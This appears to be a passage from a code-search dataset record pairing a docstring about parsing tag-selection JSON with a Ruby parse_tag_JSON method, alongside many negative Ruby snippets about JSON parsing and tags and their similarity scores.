"def createXmlFilePath\r\n\t\tfile = nil\r\n\t\tif (ARGV[1] == nil)\r\n\t\t\tbegin\r\n\t\t\t\tputs \"Please input save xml file path:\"\r\n\t\t\t\txmlFilePath = gets\r\n\t\t\t\tfile = File.new(xmlFilePath, \"w+\") \r\n\t\t\trescue Exception\r\n\t\t\t\tputs \"something is error, please try agin\"\r\n\t\t\t\texit()\r\n\t\t\telse\r\n\t\t\t\tputs \"found file succee, start...\"\r\n\t\t\tensure\r\n\t\t\t\tif file == nil\r\n\t\t\t\t\texit();\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\telse\r\n\t\t\tfile = File.new(ARGV[1], \"w+\")\r\n\t\tend\r\n\t\treturn file\r\n\tend",
"def save(data)\n File.open(@local_file_path, \"wb\") {|file| file.write(data) }\n end"
] |
[
"0.5950327",
"0.5902202",
"0.5902202",
"0.58504194",
"0.5777463",
"0.55937386",
"0.55903715",
"0.55783564",
"0.55637306",
"0.55583525",
"0.553807",
"0.5538039",
"0.5467865",
"0.5451845",
"0.54153013",
"0.5397291",
"0.5385051",
"0.5361439",
"0.53531826",
"0.53432393",
"0.5320647",
"0.53153664",
"0.5312801",
"0.530462",
"0.530462",
"0.5295967",
"0.5268685",
"0.5230402",
"0.5223487",
"0.520639",
"0.5184634",
"0.5180019",
"0.5166626",
"0.5164948",
"0.5162671",
"0.51300037",
"0.51266",
"0.5116624",
"0.5107342",
"0.5103032",
"0.5096016",
"0.5077198",
"0.5075385",
"0.5066455",
"0.50644463",
"0.50601774",
"0.5052285",
"0.5050464",
"0.50501037",
"0.50435644",
"0.504145",
"0.50364983",
"0.5036303",
"0.5034841",
"0.50342345",
"0.50319",
"0.50270665",
"0.5023143",
"0.50089854",
"0.50039786",
"0.49925354",
"0.49883485",
"0.49662903",
"0.49660596",
"0.49635914",
"0.49283135",
"0.49256098",
"0.4923846",
"0.49233288",
"0.49185917",
"0.49148744",
"0.49145538",
"0.49079043",
"0.4907666",
"0.49004707",
"0.49000356",
"0.49000356",
"0.49000356",
"0.48991567",
"0.48904407",
"0.4886317",
"0.48848507",
"0.4884747",
"0.4884291",
"0.48823023",
"0.4879301",
"0.48767707",
"0.48750916",
"0.48639455",
"0.4861247",
"0.48594216",
"0.48588103",
"0.48555568",
"0.48406878",
"0.48386666",
"0.48378393",
"0.4837774",
"0.48373958",
"0.4834063",
"0.4825616",
"0.48097992"
] |
0.0
|
-1
|
Parse JSON from the selection form. Ensures that the json is internallyconsistent, and strips all of the data out into a new, ordered, list of tags in descending order of preference.
|
def parse_tag_JSON(json)
obj = JSON.parse(json)
# Each tag should have
#
# prefix: prefix,
# name: name,
# positive: positive
#
# and each input json should have
# { order: [ prefix, prefix...]
# selection: { prefix: {tag as above},
# prefix: {tag as above}
# }
# }
#
raise 'No order information' unless obj['order'].is_a?(Array)
raise 'No tag information' unless obj['selection'].is_a?(Hash)
# Somewhere to store 'clean' copies of the data
out_of_order_tags = {}
# Check formats.
obj['selection'].each{|k, v|
# Check formats
raise "No prefix for item #{k}" unless v['prefix'].is_a?(String)
raise "No name for item #{k}" unless v['name'].is_a?(String)
raise "No positivity for item #{k}" unless !!v['positive'] == v['positive']
# Build the stack, converting numbers to numbers where possible
# This is necessary because my parser is insanely strict
stack = v['prefix'].split('_').map{ |x| x.to_s == x.to_i.to_s ? x.to_i : x.to_s }
tag = USASTools::SemTag::SemTag.new(stack, [], !!v['positive'] ? 0 : -1)
if @tagparser.valid?(tag)
tag = @tagparser.augment(tag)
else
raise "Invalid tag: #{tag}"
end
# Put in main hash
out_of_order_tags[v['prefix']] = tag
}
# Add to a hash in-order.
hash = {}
hash[:tags] = []
obj['order'].each{|prefix|
hash[:tags] << out_of_order_tags[prefix.to_s]
}
return hash
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def selected_tags=(data)\n self.tags.clear\n data.split('tag').each { |id| self.tags << Tag.find(id) if id.length > 0 }\n end",
"def parse_json(json)\n ::JSON.parse(json, :create_additions => false)\n end",
"def parse json; return JSON.parse File.read json end",
"def parse json; return JSON.parse File.read json end",
"def parse_json content\n json = ActiveSupport::JSON.decode(content)\n\n # validation\n validate json.kind_of?(Array), \"JSON was not an array\"\n\n json.each do |item|\n validate item.kind_of?(Hash), \"JSON was not an array of objects\"\n validate (item.keys.to_set == json.first.keys.to_set),\n \"JSON objects did not have consistent keys\"\n end\n end",
"def json_parse(json)\n JSON.parse(json, symbolize_names: true)\n end",
"def parsed_json\n @parsed_json ||= JSON.parse(@json)\n end",
"def parse\n return if @id\n\n data = @json.is_a?(String) ? JSON.parse(@json) : @json\n @id = data[\"id\"]\n @time = data[\"created_at\"]\n @text = parse_text(data[\"text\"])\n end",
"def getTags()\n dataHash = @item_json['data']\n tagSet = Set.new\n\n dataHash.each do |itemId, item|\n item['tags'].each do |tag|\n tagSet.add(tag)\n end\n end\n\n return tagSet.to_a\n end",
"def reparsed_from_json\n self.is_a?(String) ? JSON.parse(self) : JSON.parse(self.to_json)\n end",
"def filter_result(json_response)\n result = JSON[json_response] rescue []\n result = [result] unless result.is_a? Array\n key_order = result.first.keys if result.first\n result = flatten_functional_fields(result) if formatter.instance_of?(Unipept::CSVFormatter)\n result.map! { |r| r.select! { |k, _v| selected_fields.any? { |f| f.match k } } } unless selected_fields.empty?\n result = inflate_functional_fields(result, key_order) if formatter.instance_of?(Unipept::CSVFormatter) && result.first\n result\n end",
"def from_json\n select_data.map do |h|\n /(?<series>(?<=-)\\w+$)/ =~ h[\"series\"]\n title = [h[\"title-main\"], h[\"title-sub\"]].compact.join \" - \"\n release_date = RelatonBib.parse_date h[\"published-date\"], false\n Hit.new({ code: docidentifier(h), series: series.upcase, title: title,\n url: h[\"uri\"], status: h[\"status\"],\n release_date: release_date, json: h }, self)\n end\n end",
"def sanitize_json(json)\n IndexerCommonConfig.do_not_index.each do |k, v|\n if json[\"jsonmodel_type\"] == k\n # subrec is a reference used to navigate inside of the JSON as specified by the v[:location] to find the part of the tree to sanitize\n subrec = json\n\n v[:location].each do |l|\n unless subrec.nil?\n subrec = subrec[l]\n end\n end\n\n unless subrec.nil?\n subrec[v[:to_clean]] = []\n end\n end\n end\n\n return json\n end",
"def parsed\n load\n unless @parsed\n @parsed = MultiJson.load(`pygmentize -f tokens #{@item[:filename]} | #{PYGMENTS2JSON}`).map(&:compact)\n store\n end\n @parsed\n end",
"def cleanup_data(data)\n return data unless data.is_a?(Hash) && data.has_key?('collection')\n data['collection'].each do |item|\n item.each_pair do |k,v|\n # Purge whitespace within values\n v.is_a?(::String) ? v.strip! : v\n\n # Parse JSON values\n if v.is_a?(Array)\n v.map! do |e|\n e = safe_parse_json(e)\n end\n else\n item[k] = safe_parse_json(v)\n end\n end\n end\n data\n end",
"def process_sections\n @tag_selection.attributes = {'section_ids' => []}.merge(params[:tag_selection] || {})\n end",
"def selected_tags\n if @params[:tag] && @params[:tag].strip.length > 0\n @selected_tags ||= @params[:tag].downcase.split(',').collect{ |t| t.strip }\n end\n\n return @selected_tags\n end",
"def selected_tags\n if @params[:tag] && @params[:tag].strip.length > 0\n @selected_tags ||= @params[:tag].downcase.split(',').collect{ |t| t.strip }\n end\n\n return @selected_tags\n end",
"def parse\n (type, subtype) = parse_object([@name], JSON.parse(@json))\n (subtype || type).to_s.gsub(/\\n\\n$/, \"\\n\")\n end",
"def parse_response(text, opts = {})\n opts = { :count => 1 }.merge(opts || {})\n\n return [] if opts[:count] <= 0\n\n resp = JSON.parse(text, :symbolize_names => true)\n\n results = resp[:list].map do |res|\n {\n :id => res[:defid],\n :word => res[:word],\n :author => res[:author],\n :permalink => res[:permalink],\n :definition => res[:definition].strip,\n :example => res[:example].strip,\n :upvotes => res[:thumbs_up],\n :downvotes => res[:thumbs_down],\n }\n end\n\n results.take opts[:count]\n end",
"def parse(tags); end",
"def parse_json(json_)\n from_json_object(::JSON.parse(json_))\n end",
"def parse_tags(klass, incoming_tags)\n tags = []\n self.invalid_tags ||= []\n klass_symbol = klass.to_s.downcase.pluralize.to_sym\n tag_array = incoming_tags.is_a?(String) ? incoming_tags.split(ArchiveConfig.DELIMITER_FOR_INPUT) : incoming_tags\n tag_array.each do |string|\n string.strip!\n unless string.blank?\n tag = klass.find_or_create_by_name(string)\n if tag.valid?\n tags << tag if tag.is_a?(klass)\n else\n self.invalid_tags << tag\n end\n end\n end\n if self.preview_mode\n self.placeholder_tags ||= {}\n self.placeholder_tags[klass_symbol] = tags.uniq\n else\n # we have to destroy the taggings directly in order to trigger the callbacks\n remove = self.send(klass_symbol) - tags\n remove.each do |tag|\n tagging = Tagging.find_by_tag(self, tag)\n tagging.destroy if tagging\n end\n self.send(klass_symbol.to_s + '=', tags.uniq)\n end\n end",
"def get_tags_for_select() tag_ids.inject([]) { |l, tag_id| l << [get_tag_from_id(tag_id).label, tag_id] } end",
"def parse(options={})\n rows = parse_rows(data)\n sort_rows(rows, options[:sort])\n end",
"def tag_last(opt) # hooked\n opt ||= {}\n opt[:count] ||= 1\n opt[:archive] ||= false\n opt[:tags] ||= ['done']\n opt[:sequential] ||= false\n opt[:date] ||= false\n opt[:remove] ||= false\n opt[:update] ||= false\n opt[:autotag] ||= false\n opt[:back] ||= false\n opt[:unfinished] ||= false\n opt[:section] = opt[:section] ? guess_section(opt[:section]) : 'All'\n\n items = filter_items(Items.new, opt: opt)\n\n if opt[:interactive]\n items = Prompt.choose_from_items(items, include_section: opt[:section] =~ /^all$/i, menu: true,\n header: '',\n prompt: 'Select entries to tag > ',\n multiple: true,\n sort: true,\n show_if_single: true)\n\n raise NoResults, 'no items selected' if items.empty?\n\n end\n\n raise NoResults, 'no items matched your search' if items.empty?\n\n if opt[:tags].empty? && !opt[:autotag]\n completions = opt[:remove] ? all_tags(items) : all_tags(@content)\n if opt[:remove]\n puts \"#{yellow}Available tags: #{boldwhite}#{completions.map(&:add_at).join(', ')}\"\n else\n puts \"#{yellow}Use tab to complete known tags\"\n end\n opt[:tags] = Doing::Prompt.read_line(prompt: \"Enter tag(s) to #{opt[:remove] ? 'remove' : 'add'}\",\n completions: completions,\n default_response: '').to_tags\n raise UserCancelled, 'No tags provided' if opt[:tags].empty?\n end\n\n items.each do |item|\n old_item = item.clone\n added = []\n removed = []\n\n item.date = opt[:start_date] if opt[:start_date]\n\n if opt[:autotag]\n new_title = autotag(item.title) if Doing.auto_tag\n if new_title == item.title\n logger.count(:skipped, level: :debug, message: '%count unchaged %items')\n # logger.debug('Autotag:', 'No changes')\n else\n logger.count(:added_tags)\n logger.write(items.count == 1 ? :info : :debug, 'Tagged:', new_title)\n item.title = new_title\n end\n else\n if opt[:done_date]\n done_date = opt[:done_date]\n elsif opt[:sequential]\n next_entry = next_item(item)\n\n done_date = if next_entry.nil?\n Time.now\n else\n next_entry.date - 60\n end\n else\n done_date = item.calculate_end_date(opt)\n end\n\n opt[:tags].each do |tag|\n if tag == 'done' && !item.should_finish?\n\n Doing.logger.debug('Skipped:', \"Item in never_finish: #{item.title}\")\n logger.count(:skipped, level: :debug)\n next\n end\n\n tag = tag.strip\n\n if tag =~ /^(\\S+)\\((.*?)\\)$/\n m = Regexp.last_match\n tag = m[1]\n opt[:value] ||= m[2]\n end\n\n if tag =~ /^done$/ && opt[:date] && item.should_time?\n max_elapsed = Doing.setting('interaction.confirm_longer_than', 0)\n max_elapsed = max_elapsed.chronify_qty if max_elapsed.is_a?(String)\n elapsed = done_date - item.date\n\n if max_elapsed.positive? && (elapsed > max_elapsed) && !opt[:took]\n puts boldwhite(item.title)\n human = elapsed.time_string(format: :natural)\n res = Prompt.yn(yellow(\"Did this actually take #{human}\"), default_response: true)\n unless res\n new_elapsed = Prompt.enter_text('How long did it take?').chronify_qty\n raise InvalidTimeExpression, 'Unrecognized time span entry' unless new_elapsed > 0\n\n opt[:took] = new_elapsed\n done_date = item.calculate_end_date(opt) if opt[:took]\n end\n end\n end\n\n if opt[:remove] || opt[:rename] || opt[:value]\n rename_to = nil\n\n if opt[:value]\n rename_to = tag\n elsif opt[:rename]\n rename_to = tag\n tag = opt[:rename]\n end\n old_title = item.title.dup\n force = opt[:value].nil? ? false : true\n item.title.tag!(tag, remove: opt[:remove], rename_to: rename_to, regex: opt[:regex], value: opt[:value], force: force)\n if old_title != item.title\n removed << tag\n added << rename_to if rename_to\n else\n logger.count(:skipped, level: :debug)\n end\n else\n old_title = item.title.dup\n should_date = opt[:date] && item.should_time?\n item.title.tag!('done', remove: true) if tag =~ /done/ && (!should_date || opt[:update])\n item.title.tag!(tag, value: should_date ? done_date.strftime('%F %R') : nil)\n added << tag if old_title != item.title\n end\n end\n end\n\n logger.log_change(tags_added: added, tags_removed: removed, item: item, single: items.count == 1)\n\n item.note.add(opt[:note]) if opt[:note]\n\n if opt[:archive] && opt[:section] != 'Archive' && (opt[:count]).positive?\n item.move_to('Archive', label: true)\n elsif opt[:archive] && opt[:count].zero?\n logger.warn('Skipped:', 'Archiving is skipped when operating on all entries')\n end\n\n item.expand_date_tags(Doing.setting('date_tags'))\n Hooks.trigger :post_entry_updated, self, item, old_item\n end\n\n write(@doing_file)\n end",
"def extract_raw_hotels_from_json(json)\n if json[:HotelList] && json[:HotelList][:Hotel]\n json[:HotelList][:Hotel]\n else\n []\n end\n end",
"def clear\n json = parse({})\n\n super(json, { compression: false })\n\n json\n end",
"def parse_tags(result)\n parse_type(result, \"tag\")\n end",
"def parse_tastings\n scents = Array.new\n \n self.tastings.each do |tasting|\n scents << JSON.parse(tasting.json_string)\n end\n \n scents\n end",
"def process_locations(avail_json)\n availability = JSON.parse(avail_json)\n tmp_array = []\n if availability[\"online\"].present? && availability[\"online\"]\n tmp_array << \"Online\"\n end\n if availability[\"availAt\"].present?\n availability[\"availAt\"].each do |k, v|\n if k.include?(\"(\")\n i = k.index(\"(\")\n tmp_str = k[0..i - 2]\n tmp_array << tmp_str\n else\n tmp_array << k\n end\n end\n end\n\n return tmp_array\n end",
"def parse_json\n people = JSON.parse(self.get_response_body)\n end",
"def parsed_tags(tags)\n Tag.parse(tags, self.class.taggable_options[:separator])\n end",
"def filter(event)\n\tstring = event.get(\"[bluecheck][sectools]\")\n\tstring2 = string.gsub(\"ProcessID\",\"{ \\\"ProcessID\\\"\")\n\tstring3 = string2.gsub(\" Vendor\",\", \\\"Vendor\\\"\")\n\tstring4 = string3.gsub(\" Product\",\", \\\"Product\\\"\")\n\tstring5 = string4.gsub(\",{\",\"},{\")\n\tstring6 = string5.gsub(\": \",\": \\\"\")\n\tstring7 = string6.gsub(\", \",\"\\\", \")\n\tstring8 = string7.gsub(\"},\",\"\\\"},\")\n\tstring9 = \"[\"+string8+\"\\\" }]\"\n\tjson = JSON.parse(string9)\n\tevent.tag(\"_rubyparseok\")\n\tevent.set(\"[bluecheck][sectools]\", json)\n\treturn [event]\nend",
"def select_json_searchers\n return @json_searchers if @file_selection.empty?\n\n @json_searchers.select{ |key,value| @file_selection.include?(key) }\n end",
"def read_tag_file(filename)\n ::File.exist?(filename) ? JSON.parse(::File.read(filename)) : []\n end",
"def parse_results(json:)\n results = []\n return results unless json.present? && json.fetch('items', []).any?\n\n json['items'].each do |item|\n next unless item['id'].present? && item['name'].present?\n\n results << {\n ror: item['id'],\n name: item['name'],\n url: item.fetch('links', []).first,\n domain: org_website(item: item),\n country: org_country(item: item),\n abbreviation: item.fetch('acronyms', []).first,\n types: item.fetch('types', []),\n aliases: item.fetch('aliases', []),\n acronyms: item.fetch('acronyms', []),\n labels: item.fetch('labels', [{}]).map { |lbl| lbl[:label] }.compact\n }\n end\n results\n end",
"def convert\n old = @hashes\n @hashes = Hash.new\n\n puts 'Warning: old JSON format detected, converting.'\n old.each {|i| add_hash(i[:id], i[:deletehash], 'unknown') }\n save\n end",
"def parse_json_info\n require 'json'\n\n data = IO.read(File.expand_path(@json_file))\n json = JSON.parse(data, :create_additions => false)\n\n array = []\n\n if json['subscriptions']\n json['subscriptions'].each{ |sub|\n array << Subscription.new do |s|\n s.source = @json_file\n s.subscription_id = sub['id']\n s.subscription_name = sub['name']\n s.default = sub['isDefault'] || false\n s.environment_name = sub['environmentName']\n s.management_endpoint = sub['managementEndpointUrl']\n s.registered_providers = sub['registeredProviders']\n s.management_certificate = sub['managementCertificate']['cert'] +\n sub['managementCertificate']['key']\n end\n }\n end\n\n array\n end",
"def prepare_json\n\t\tjson_header\n\t\tjson_assemble\n\t\t#order_by_line_id(@file)\n\t\t#json_sections\n\t\t#json_order_line_by_section\n\n\tend",
"def parse_json(filename)\n debug_trace(\"Parsing JSON #{filename}.json\")\n data = JSON.load(IO.read(\"#{$source_dir}#{filename}.json\"))\n\n if !data[\"version\"] || data[\"version\"] < ($data_version - 1)\n abort_msg(\"Outdated JSON file #{filename}.json\", nil)\n end\n\n if data[\"version\"] >= $data_version\n error_msg(\"File #{filename}.json has already been processed.\", nil)\n $skipped_json_filenames.push(filename)\n return nil\n end\n\n new_data = {\"version\": $data_version}\n\n new_data[\"trailSystems\"] = {}\n\n if data[\"parks\"]\n new_data[\"parks\"] = {}\n data[\"parks\"].each do |park_id, park|\n if park.has_key?(\"hideInListView\")\n park[\"isSearchable\"] = !park[\"hideInListView\"]\n end\n park.delete(\"hideInListView\")\n park.delete(\"visibilityConstraint\")\n if $park_ids_to_make_trail_systems.has_key?(park_id)\n park[\"isSearchable\"] = true\n system_id = $park_ids_to_make_trail_systems[park_id]\n new_data[\"trailSystems\"][system_id] = park\n else\n new_data[\"parks\"][park_id] = park\n end\n end\n end\n\n if data[\"trails\"]\n new_data[\"trails\"] = {}\n data[\"trails\"].each do |trail_id, trail|\n if trail.has_key?(\"hideInListView\")\n abort_msg(\"Trail #{trail_id} has hideInListView defined.\", trail)\n #trail[\"isSearchable\"] = !trail[\"hideInListView\"]\n end\n trail.delete(\"hideInListView\")\n trail.delete(\"visibilityConstraint\")\n if $trail_ids_to_reassign.has_key?(trail_id)\n parent_id = $trail_ids_to_reassign[trail_id]\n if !$trail_ids_with_blazes.include?(trail_id)\n trail[\"blazes\"] = \"none\"\n end\n else\n parent_id = trail[\"parkID\"]\n if $park_ids_to_make_trail_systems.has_key?(parent_id)\n parent_id = $park_ids_to_make_trail_systems[parent_id]\n end\n end\n if $trail_ids_with_style_trailSystem.include?(trail_id)\n trail[\"style\"] = \"trailSystem\"\n end\n if trail.has_key?(\"isPrimary\")\n # respect manual assignment\n trail[\"isPrimary\"] = trail[\"isPrimary\"]\n elsif $trail_ids_with_style_trailSystem.include?(trail_id)\n # trailSystem visibility implies isPrimary\n trail[\"isPrimary\"] = !nil_or_blank(trail[\"name\"])\n end\n trail.delete(\"parkID\")\n trail[\"parentID\"] = parent_id\n new_data[\"trails\"][trail_id] = trail\n end\n end\n\n return new_data\nend",
"def parse_fetched_json(json_from_url)\n JSON.parse(json_from_url)\n end",
"def json5_parse(data)\n # read with JSON5 to be more liberal about trailing commas.\n # But that doesn't have a 'symbolize_names' so rountrip through JSON\n JSON.parse(JSON5.parse(data).to_json, symbolize_names: true)\n end",
"def tags\n article_tags = data['tags']\n\n if article_tags.is_a? String\n article_tags.split(',').map(&:strip)\n else\n Array(article_tags).map(&:to_s)\n end\n end",
"def parse response\n JSON.parse(response, symbolize_names: true)\n end",
"def tags\n @data['tags']\n end",
"def parse\n reset\n obj = nil\n while !eos? && skip(IGNORE) do end\n if eos?\n raise ParserError, \"source is not valid JSON!\"\n else\n obj = parse_value\n UNPARSED.equal?(obj) and raise ParserError,\n \"source is not valid JSON!\"\n obj.freeze if @freeze\n end\n while !eos? && skip(IGNORE) do end\n eos? or raise ParserError, \"source is not valid JSON!\"\n obj\n end",
"def depipe_json(j)\n j.delete(\"|\")\n end",
"def names\n @json['tags'].map { |ent| ent['name'] }\n end",
"def splitJSON2(data, string_to_split)\n word = data.scan(/\"#{string_to_split}\":([\\S\\s]*?),/)[0]\n string = word.split('\"]').join('').split('[\"').join('')\n return string\n end",
"def parse_results(json:)\n results = []\n return results unless json.present? && json.fetch('items', []).any?\n\n json['items'].each do |item|\n next unless item['id'].present? && item['name'].present?\n\n results << {\n ror: item['id'].gsub(/^#{landing_page_url}/, ''),\n name: org_name(item: item),\n sort_name: item['name'],\n url: item.fetch('links', []).first,\n language: org_language(item: item),\n fundref: fundref_id(item: item),\n abbreviation: item.fetch('acronyms', []).first\n }\n end\n results\n end",
"def fix_response(response_json)\n data = []\n\n response_json.each do |product|\n product_item = product\n product_item['createdAt'] = product_item['createdAt'].gsub('T', ' ').split('+')[0]\n product_item['validUntil'] = product_item['validUntil'].gsub('T', ' ').split('+')[0]\n product_item['title'] = product_item['offer']['title']\n product_item['code'] = product_item['offer']['code']\n product_item['price'] = product_item['plan']['price']\n product_item['plan_name'] = product_item['plan']['title']\n product_item['period'] = product_item['plan']['period']\n\n product_item.delete('id')\n product_item.delete('offer')\n product_item.delete('plan')\n\n data << product_item\n end\n\n data\n end",
"def tags\n article_tags = data.tags || data.tag\n \n if article_tags.is_a? String\n article_tags.split(',').map(&:strip)\n else\n Array(article_tags).map(&:to_s)\n end \n end",
"def extract_json(src)\n result = ([] if src.blank?)\n result ||= (src unless src.is_a?(Hash))\n # noinspection RubyMismatchedArgumentType\n result ||=\n case src.keys.first.to_s.downcase\n when /^document-\\d+/ then parse_create_errors(src)\n when /^[^-]+-[^-]+-[^-]+/ then parse_delete_errors(src)\n else src\n end\n Array.wrap(result || src).compact\n end",
"def convert_json_to_yaml(json) #:nodoc:\n scanner, quoting, marks = StringScanner.new(json), false, []\n\n while scanner.scan_until(/(['\":,]|\\\\.)/)\n case char = scanner[1]\n when '\"', \"'\"\n quoting = quoting == char ? false : char\n when \":\", \",\"\n marks << scanner.pos - 1 unless quoting\n end\n end\n \n if marks.empty?\n json\n else\n ranges = ([0] + marks.map(&:succ)).zip(marks + [json.length])\n ranges.map { |(left, right)| json[left..right] }.join(\" \")\n end\n end",
"def parse_json_references_response(response, *keys)\n JSON.parse(response.body).inject([]) do |result, element|\n result << keys.map { |key| element[key] }\n end.sort_by!(&:first)\n end",
"def extract_tags!\n @parsed_query.gsub!(/(\\b)*tags\\:(\\S*)(\\b)*/i, \"\")\n @tags = $2.split(',') unless $2.blank?\n end",
"def tag_list\n data[:tag_list]\n end",
"def tag_list\n data[:tag_list]\n end",
"def parse(json)\n JSON.parse(json) rescue nil\n end",
"def tags\n response[\"tags\"]\n end",
"def parse_data_for_parser(doc, _original_url, _jsonld_array)\n handle_exceptions(StandardError) do\n select_metatags = { title: 'og:title', picture: 'og:image', description: 'og:description' }\n @parsed_data.merge!(get_metadata_from_tags(select_metatags))\n @parsed_data['title'] = get_title_from_url(url) if parsed_data['title'].blank?\n @parsed_data['description'] = 'Shared with Dropbox' if parsed_data['description'].blank?\n end\n parsed_data\n end",
"def categories\n parsed_json['data']\n end",
"def parse(content)\n @response = []\n if ( content.respond_to?(:body) )\n @response = JSON.parse(content.body)\n else\n @response = JSON.parse(content)\n end\n @complete_items = @response[\"items\"]\n @raw_items = @response[\"items\"].map{|i| i['raw']}\n end",
"def processJSON(json)\n # Let's just print out titles, links and scores\n json['dc:collection'].collect { |dict|\n \"title: #{dict['dc:title']}\\n\" +\n \"link: #{dict['dc:relation']}\\n\" +\n \"score: #{dict['primal:contentScore']}\\n\\n\"\n }.each { |result|\n puts result\n }\nend",
"def preprocess___tags data\n\t\tname = 'general' \n\t\ttags_alaise = [:tag, :type]\n\t\ttags_alaise.each do | item |\n\t\t\tname = data.delete(item) if data.include?(item)\n\t\tend\n\t\tif DB[:_tags].filter(:name => name).empty?\n\t\t\tDB[:_tags].insert(:name => name) \n\t\tend\n\t\tdata[:tid] = DB[:_tags].filter(:name => name).get(:tid)\n\t\tdata\n\tend",
"def parse_rendered(rendered)\n JSON.parse(rendered)\n end",
"def parse_json(body)\n JSON.parse(body, { symbolize_names: true })\n end",
"def deserialize(json)\n raise NotImplementedError\n end",
"def auto_complete_for_album_tag_list\n auto_complete_for_tag_list_first_beginning_then_the_rest(params[:album][:tag_list])\n if @tags.length > 0\n render :inline => \"<%= content_tag(:ul, @tags.map {|t| content_tag(:li, t.name)}.join.html_safe) %>\"\n else\n render :nothing => true\n end\n end",
"def sorted_tags\n tag_set = Set.new\n articles.each do |item|\n tag_set.merge(item[:tags]) if item[:tags]\n end\n tag_set.to_a.sort\nend",
"def tags\n data[:tags]\n end",
"def tags\n data[:tags]\n end",
"def tags\n data[:tags]\n end",
"def tags\n data[:tags]\n end",
"def tags\n data[:tags]\n end",
"def parse_json(json_)\n ::NTable.parse_json(json_)\n end",
"def parse_tag_collection(body)\n dom = parse_and_validate_response(body, :root_name => 'tags')\n dom.root.elements.collect('tag') { |xml| Tag.from_rexml(xml) }\n end",
"def parse(body)\n MultiJson.load(body, symbolize_keys: true)\n rescue MultiJson::ParseError\n body\n end",
"def parse_json(json)\n case json[\"type\"]\n when \"track\"\n {\n title: json[\"name\"],\n artist: json[\"artists\"].map { |i| i[\"name\"] }.join(\", \"),\n album: json[\"album\"][\"name\"],\n thumbnail: json[\"album\"][\"images\"].sort_by { |i| i[\"height\"] }.last[\"url\"],\n length: json[\"duration_ms\"].to_i / 1000.0,\n preview_url: json[\"preview_url\"],\n }\n when \"album\"\n {\n\n }\n end\nend",
"def parse_options_and_selects!\n\n #field :field_value, :type => Object, :default => nil\n #field :select_options, :type => Array, :default => nil\n\n if params[:option].present?\n params[:file_metadata_schema][:field_value] = params[:option]\n end\n\n if params[:value].present?\n values = Array.new\n params[:value].each_with_index do |v,i|\n values << Hash[:value => v[1], :selected => is_selected?(i)]\n end\n params[:file_metadata_schema][:select_options] = values\n end\n \n end",
"def tags\n\t\tresponse = self.server.run_with_json_template( :tags )\n\t\treturn response.flatten.map {|tag| Hglib::Repo::Tag.new(self, **tag) }\n\tend",
"def find_all_json_in(text)\n PDK::Util::JSONFinder.new(text).objects\n end",
"def parse_data data\n JSON.parse(data.body)\n end",
"def parse(json_str)\n Oj.load(json_str)\n end",
"def parsed_excluded_tags\n @parsed_excluded_tags ||= parse_named_tags(%i[excluded_tag_names])\n end",
"def convert(json)\n # The data may be an array of metadata, in the case of the `yesterday`\n # or `today` APIs, or an object where the values are the metadata.\n json = json.values unless json.is_a? Array\n\n # Remove weird junk that is not metadata\n json.select { |package| package.is_a? Hash }\n end",
"def convert_groups(json)\n hash = JSON.parse(json)\n hash.map{|gr| FilmOn::Group.new(gr)}\n end",
"def from_json(json)\n deserialize JSON.parse(json)\n end",
"def process_tags(post)\n tags_text = params[:post][:tags]\n tag_array = tags_text.split(',')\n tag_array.each do |tag|\n tag_with_context = tag.split('/');\n post.set_tag_list_on(tag_with_context[0].strip, tag_with_context[1].strip)\n end\n return post\n end",
"def export_select_tags\n return Array.new unless @in_buffer_settings[\"EXPORT_SELECT_TAGS\"]\n @in_buffer_settings[\"EXPORT_SELECT_TAGS\"].split\n end",
"def auto_complete_for_headline_tag_list_without_areas\n auto_complete_for_tag_list_first_beginning_then_the_rest(params[:headline][:tag_list_without_areas])\n if @tags.length > 0\n render :inline => \"<%= content_tag(:ul, @tags.map {|t| content_tag(:li, t.name)}.join.html_safe) %>\"\n else\n render :nothing => true\n end\n end",
"def parse_data(data)\n # Prevent abortive empty JSON.parse error\n data = '{}' if data.blank?\n\n return \"Error from #{@task}: #{data}\" if data.is_a?(String) && data.include?('No such')\n\n data = JSON.parse(data) if data.is_a?(String)\n\n @output[:relevant_output] = relevant_output( data, @git_files ) unless @git_files.blank?\n data = @output[:relevant_output] unless @settings[:commit].blank?\n data\n end",
"def set_university_autocomplete\n render json: {\"course_tags\": @course_tags, \"program_tags\": @program_tags}\n end",
"def extract_raw_packages_from_json(json)\n if json[:PackageSearchResultList] && json[:PackageSearchResultList][:PackageSearchResult]\n json[:PackageSearchResultList][:PackageSearchResult]\n else\n []\n end\n end",
"def tags\n @tags_with_count = Asset.tag_counts_on(:tags)\n \n @tags = @tags_with_count.map{|tag_hash| tag_hash = tag_hash.name }\n \n respond_to do |format|\n format.html\n format.json { render :json => @tags }\n end\n end",
"def tags\n Types::Tags.deserialize(@tags)\n end",
"def parse_request_result(result)\n if result.nil?\n []\n else\n json = result.read\n\n if json.nil?\n []\n else\n r = JSON.parse(json)\n\n # Add the etag to the response only for individual entities\n if result.meta['etag'] and r.class != Array\n r['etag'] = result.meta['etag']\n end\n\n r\n end\n end\n end",
"def parse\n reset!\n\n unless text.nil?\n text.each_line do |line|\n items = parse_line(line)\n unless items.empty?\n if headers?\n set_headers(items)\n else\n items_to_hash(items) do |item_hash|\n @result << item_hash\n end\n end\n end\n end\n end\n\n @result\n end",
"def parse(response)\n case response\n when Hash\n response.each_with_object({}) do |(key, value), new_hash|\n new_hash[camel_case_to_snake_case(key).to_sym] = parse(value)\n end\n when Array\n response.map { |item| parse item }\n else\n response\n end\n end"
] |
[
"0.5351482",
"0.5288361",
"0.5216189",
"0.5216189",
"0.5092325",
"0.50148124",
"0.5013826",
"0.4950033",
"0.4943052",
"0.49019614",
"0.48892185",
"0.48752514",
"0.48743552",
"0.4853825",
"0.48045588",
"0.48043972",
"0.48008823",
"0.48008823",
"0.47211853",
"0.46948326",
"0.4689885",
"0.4638703",
"0.46281883",
"0.4626739",
"0.46245915",
"0.46212214",
"0.46183443",
"0.45967895",
"0.45957002",
"0.45828566",
"0.45825374",
"0.45673126",
"0.45537013",
"0.4542032",
"0.45361164",
"0.45198083",
"0.45171008",
"0.4516707",
"0.45113954",
"0.45094883",
"0.4499108",
"0.4498139",
"0.44818908",
"0.4481671",
"0.44748098",
"0.4457942",
"0.44552067",
"0.4448427",
"0.44466785",
"0.4440512",
"0.44279936",
"0.44173142",
"0.44024375",
"0.44016653",
"0.4399137",
"0.43966737",
"0.43959695",
